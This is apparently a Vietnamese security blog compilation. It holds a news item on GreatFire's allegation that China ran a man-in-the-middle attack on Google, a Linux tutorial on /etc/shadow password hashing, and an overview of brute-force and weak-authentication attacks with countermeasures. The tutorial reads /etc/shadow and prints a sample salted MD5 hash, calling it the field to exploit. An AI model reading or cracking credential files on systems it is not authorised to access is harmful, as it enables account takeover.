Tiếp tục loạt bài viết về hệ thống giám sát an ninh mạng, trong các bài tới tôi sẽ giới thiệu đến các bạn các công cụ, sản phẩm giám sát an...

GreatFire cáo buộc TQ thực hiện MiTM nhằm vào Google thông qua chứng chỉ số giả

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br /><br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJYarXz-ulpnu_6CvlbeI4kW9cDDRC38BbM8_YAUaKpWC_I0uDgv0LYxgJRm3thCeVNeAo2Wt1968O-uyPBJqznUlLs5vUQV2EXYSKDBBLgOieqcjJzw3zDScKifEnQktWNUBKrwpS-aw/s1600/SSL_socket.jpg"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJYarXz-ulpnu_6CvlbeI4kW9cDDRC38BbM8_YAUaKpWC_I0uDgv0LYxgJRm3thCeVNeAo2Wt1968O-uyPBJqznUlLs5vUQV2EXYSKDBBLgOieqcjJzw3zDScKifEnQktWNUBKrwpS-aw/s640/SSL_socket.jpg" width="640" /></a><br /><br />Cơ quan giám sát trực tuyến GreatFire cáo buộc chính phủ Trung Quốc thực hiện các cuộc nghe lén MiTM bằng cách can thiệp vào traffic đã được mã hóa bằng SSL giữa China Education và Google thông qua CERNET. Thông tin thêm là Google và những dich vụ của họ đang bị chặn ở TQ do chính sách kiểm duyệt của đất nước này và cách duy nhất để kết nối đến Google là thông qua CERNET<br /><br /><br />Thay vì ngăn chặn các truy cập trên thông qua CERNET, các nhà chức trách thực hiện một cuộc tấn công Man-in-The-Middle, bằng cách đó họ vẫn đảm bảo việc “cho phép” các sinh viên và các nhà nghiên cứu truy cập Google trong khi họ hoàn toàn có thể nghe trộm (eavesdropping) hoặc chặn các kết quả tìm kiếm từ người dùng<br />Cuộc tấn công như thế này được ghi nhận trước đây vào 28/8 khi người dùng ở TQ phàn nàn trên Google Plus, Weibo rằng họ không thể truy cập vào google.com và google.com.hk hoặc nhận được một thông báo chứng chỉ SSL không hợp lệ<br /><br /><br /><a href="http://2.bp.blogspot.com/PiS0_PdpaE1cZ-B57dirAtVQFLKtcL0xg_XAwRb7PmBZSSw9u2NCeqGYyP6gv5rk0CLRckXVEU9dj56AS9zuoeWlIZ-GQwajDaQyBCXPes0ppzAu_5AqRU5Somk7k0kGwg"><img border="0" height="360" src="http://2.bp.blogspot.com/PiS0_PdpaE1cZ-B57dirAtVQFLKtcL0xg_XAwRb7PmBZSSw9u2NCeqGYyP6gv5rk0CLRckXVEU9dj56AS9zuoeWlIZ-GQwajDaQyBCXPes0ppzAu_5AqRU5Somk7k0kGwg" width="640" /></a><br /><br /><br /><br />GreatFire đã thực hiện 2 cuộc capture traffic và gửi cho Netresec phân tích. Thông qua việc phân tích họ đã kết luận rằng cuộc tấn công này không phải thông qua giả mạo DNS (DNS spoofing). Dấu hiệu cho thấy một cuộc tấn công MiTM là thời gian hồi đáp trung bình là 8ms trong khi thời gian đáp ứng trung bình phải là 150ms. Điều này cho thấy máy chủ tấn công MiTM phải cách Đại học Bắc Kinh khá gần.<br /><br /><br /><a href="http://upload.wikimedia.org/wikipedia/commons/thumb/7/7a/PekingUniversityPic6.jpg/1280px-PekingUniversityPic6.jpg"><img border="0" src="http://upload.wikimedia.org/wikipedia/commons/thumb/7/7a/PekingUniversityPic6.jpg/1280px-PekingUniversityPic6.jpg" /></a><br /><br /><br /><br />Ngoài ra nhóm cũng phân tích 2 chứng chỉ X.509 thu được và nhận ra rằng nó là dạng self-signed. Họ đang nghi ngờ máy chủ tấn công này cũng hoạt động như một máy chủ proxy SSL. Các nhà nghiên cứu cáo buộc rằng chính phủ Trung Quốc giả mạo lưu lượng mạng bằng cách giả mạo chứng nhận SSL của Google và cướp các session SSL bằng cách mạo nhận là máy người dùng.<br /><a href="http://4.bp.blogspot.com/SnvcjJKoN0apwOfHbaDPkh8L2yWx3T3angBDZI68crsxBXd7bwxc-1ZWpfaWauRWm20_6C5xvv2Zg1iRcgW6EY99-Wcqaln6pjor9qpX0d9CUcq0NkZYWEx1l3LCYzvNBg"><img border="0" src="http://4.bp.blogspot.com/SnvcjJKoN0apwOfHbaDPkh8L2yWx3T3angBDZI68crsxBXd7bwxc-1ZWpfaWauRWm20_6C5xvv2Zg1iRcgW6EY99-Wcqaln6pjor9qpX0d9CUcq0NkZYWEx1l3LCYzvNBg" /></a><br /><br /><br />Thực sự cách đây không lâu chinh phủ Trung Quốc đã từng bị cáo buộc tấn công vào một mục tiêu lớn khác là Github hồi thang Giêng 2013</span></div>

GreatFire cáo buộc TQ thực hiện MiTM nhằm vào Google thông qua chứng chỉ số giả

Cơ quan giám sát trực tuyến GreatFire cáo buộc chính phủ Trung Quốc thực hiện các cuộc nghe lén MiTM bằng cách can thiệp vào traffic đã đượ...

Tìm hiểu cách lưu trữ mật khẩu người dùng trên Linux

<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Nếu bạn là người quản trị hệ thống Linux thường xuyên thì việc login/logout vào hệ thống là điều mặc định hiển nhiên. Trên màn hình đăng nhập, Linux yêu cầu bạn nhập username/password, nếu bạn nhập chính xác thì bạn đăng nhập thành công vào hệ thống. Vậy điều gì đã xảy ra khi bạn nhập username/password, Linux xử lý dữ liệu đó như thế nào? mật khẩu người dùng lưu ở đâu? cơ chế xác thực như thế nào?</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Trong bài viết này, tôi tập trung vào tìm hiểu cách linux lưu trữ mật khẩu người dùng.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Trong Linux, file /etc/passwd là file lưu thông tin user của hệ thống, khi bạn tạo một user mới thì linux sẽ add thêm 1 bản ghi mới vào file này. Bạn dùng lệnh để show quyền truy cập file này thì thấy file này có 1 đặc điểm là tất cả người dùng trong hệ thống đều có thể đọc được (‘r’).</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># ll /etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">-rw-r--r-- 1 root root 1373 Apr  1 13:50 </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">/etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Điều này khá nhạy cảm vì thông tin user sẽ bị phơi bày trước bất kỳ user nào trong hệ thống. Tuy nhiên thuộc tính ‘r’ là cần thiết vì một số ứng dụng và tool hệ thống cần đọc file này thì mới chạy chính xác. Giả sử, tôi thay đổi quyền truy cập file này để chỉ có ‘root’ mới có quyền đọc.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># chmod 600 /etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># ll /etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">-rw------- 1 root root 1373 Apr  1 13:50 </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">/etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bây giờ, điều gì sẽ xảy ra khi tôi chuyển sang một user thường có sẵn trên hệ thống:</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># su - mario</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">id</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">: cannot </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">find</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">name </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">for</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">user ID 500</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">id</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">: cannot </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">find</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">name </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">for</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">user ID 500</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[I have no name!@localhost ~]$</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Oh, tôi không thể thay đổi chuyển sang tài khoản có tên là mario, bới vì nó sẽ không đọc được file /etc/passwd nên không thể lấy thông tin username, home directory..của mario được lưu trữ trong file /etc/passwd.<br style="box-sizing: border-box;" />Nếu để password lưu trữ trong /etc/passwd thì cũng rất nguy hiểm, mặc dù có thể mã hóa mật khẩu bằng 1 thuật toán băm(Vì tất cả user trong hệ thống đều đọc được).</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Vì vậy, cần lưu trữ password người dùng trong 1 file mà chỉ ‘root’ mới đọc được. Giải pháp mà Linux đưa ra là bổ xung 1 file tên là /etc/shadow để lưu trữ mật khẩu người dùng. File /etc/shadow này chỉ truy cập được bởi ‘root’.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># ll /etc/shadow</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">-r-------- 1 root root 897 Apr  1 13:50 </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">/etc/shadow</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bây giờ, thử xem nội dung file <strong style="box-sizing: border-box; color: black;">/etc/shadow</strong></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
<a href="http://securitydaily.net/wp-content/uploads/2014/04/shadow2.png" rel="lightbox[gallery-nOIe]" style="-webkit-transition: 300ms; box-sizing: border-box; color: #486493; text-decoration: none; transition: 300ms;"><img alt="Tìm hiểu cách lưu trữ mật khẩu người dùng trên Linux" class="aligncenter size-large wp-image-1899" src="http://securitydaily.net/wp-content/uploads/2014/04/shadow2-700x374.png" style="border: 0px; box-sizing: border-box; vertical-align: middle;" /></a></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># cat /etc/shadow</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">mario:$1$0XJ4dcSP$wpBqBzQSmIppMPEjeYP8K/:16161:0:99999:7:::</code></div>
<ol style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Trường đầu tiên, đó chính là username <span style="box-sizing: border-box; color: red;">mario</span></li>
<li style="box-sizing: border-box;">Trường thứ 2 đó là trường password đã được mã hóa <span style="box-sizing: border-box; color: red;">$1$0XJ4dcSP$wpBqBzQSmIppMPEjeYP8K/</span>. Đây chính xác là trường tôi cần quan tâm và cần khai thác ở bài post này.</li>
</ol>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Nội dung password đã được mã hóa <span style="box-sizing: border-box; color: red;">$1$0XJ4dcSP$wpBqBzQSmIppMPEjeYP8K/</span> có ý nghĩa gì?</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
- Trường đầu tiên, cho biết thuật toán sử dụng để băm(trong ví dụ này là 1 – MD5 hashing algorithm)</div>
<pre style="background-color: whitesmoke; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.428571429; margin-bottom: 10px; padding: 9.5px 9.5px 9.5px 30px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"> $1 = MD5 hashing algorithm.
 $2 = Blowfish Algorithm is in use.
 $2a = eksblowfish Algorithm
 $5 = SHA-256 Algorithm
 $6 = SHA-512 Algorithm</pre>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
- Trường thứ 2 là một chuỗi dữ liệu ngẫu nhiên(random data hay còn gọi là salt) được sinh ra để kết hợp với mật khẩu người dùng(user password), để tăng sức mạnh băm(trong ví dụ này là <span style="box-sizing: border-box; color: #ff9900;">0XJ4dcSP</span>)</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
- Trường thứ 3 là giá trị băm của salt + user password(trong ví dụ này là <span style="box-sizing: border-box; color: #ff9900;">wpBqBzQSmIppMPEjeYP8K</span>/)</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi bạn login vào hệ thống, bạn nhập user/password. Hệ thống sẽ sử dụng giá trị salt của user + password mà bạn nhập vào để tạo ra 1 chuỗi mã hóa. Nếu chuỗi mã hóa này trùng với chuỗi mã hóa trong file /etc/shadow thì user login thành công.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Câu hỏi đặt ra là “<strong style="box-sizing: border-box; color: black;">Điều gì sẽ xảy ra nếu không có Salt</strong>?”.</div>
<div>
<br /></div>

Tìm hiểu cách lưu trữ mật khẩu người dùng trên Linux

Nếu bạn là người quản trị hệ thống Linux thường xuyên thì việc login/logout vào hệ thống là điều mặc định hiển nhiên. Trên màn hình đăng nh...

Một số phương thức tấn công ứng dụng web

<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Đối với các cơ quan, tổ chức website là kênh cung cấp thông tin hiệu quả và nhanh chóng nhất. Cũng chính đặc điểm này, các website thường xuyên là mục tiêu tấn công của tin tặc để khai thác đánh cắp các thông tin liên quan bên trong. Một trong những phương thức tấn công phổ biến là khai thác các lỗi bảo mật liên quan đến ứng dụng web.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Các lỗi bảo mật ứng dụng web là nguyên nhân chủ yếu gây ra các lỗi đối với website đang vận hành. Sau khi xác định các lỗi này, tin tặc sẽ sử dụng các kỹ thuật khác nhau để tiến hành khai thác hệ thống đích. Một số kỹ thuật thường được sử dụng: Buffer Overflows, SQL Injection, and Cross-site Scripting…Việc phân loại các kiểu tấn công thành các nhóm khác nhau sẽ giúp cho người quản trị dễ dàng xác định các nguy cơ cũng như biên pháp đối phó hơn.</div>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Tấn công Bruteforce</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bruteforce là cách thức thử tất cả các khả năng có thể có để đoán các thông tin cá nhân đăng nhập: tài khoản, mật khẩu, số thẻ tín dụng…Nhiều hệ thống cho phép sử dụng mật khẩu hoặc thuật toán mã hóa yếu sẽ tạo điều kiện cho tin tặc sử dụng phương pháp tấn công này để đoán tài khoản và mật khẩu đăng nhập. Sau đó sử dụng các thông tin này để đăng nhập truy cập vào tài nguyên hệ thống.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Tăng cường độ mạnh cho mật khẩu (Độ dài ít nhất 6 ký tự, không chứa chuỗi username, chứa ít nhất 1 ký tự số, chứa ít nhất 1 ký tự đặc biệt, không cho phép thay đổi mật khẩu trùng lặp đã sử dụng, quản lý, điều khiển thông báo lỗi)</li>
<li style="box-sizing: border-box;">Sử dụng cơ chế chứng thực (Basic hoặc Digest Authentication)</li>
<li style="box-sizing: border-box;">Hạn chế số lần đăng nhập hoặc khóa tài khoản đăng nhập sai</li>
<li style="box-sizing: border-box;">Sử dụng module Mod_Dosevasive để xác định dấu hiệu của kiểu tấn công này.</li>
</ul>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Lỗi chứng thực yếu (Insufficient Authentication)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Lỗi chứng thực yếu xuất hiện khi một website cho phép truy cập các nội dung, tài nguyên nhạy cảm mà không có đủ quyền. Các trang quản trị là một ví dụ dễ thấy nhất. Nếu không có cơ chế phân quyền hợp lý thư mục cũng như tài khoản đăng nhập trang quản trị này. Tin tặc hoàn toàn có khả năng vượt qua được cơ chế đăng nhập để chiếm quyền điều khiển trang này.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Thiết lập cơ chế điều khiển truy cập thông quan .htaccess hoặc tập tin cấu hình httpd.conf</li>
</ul>
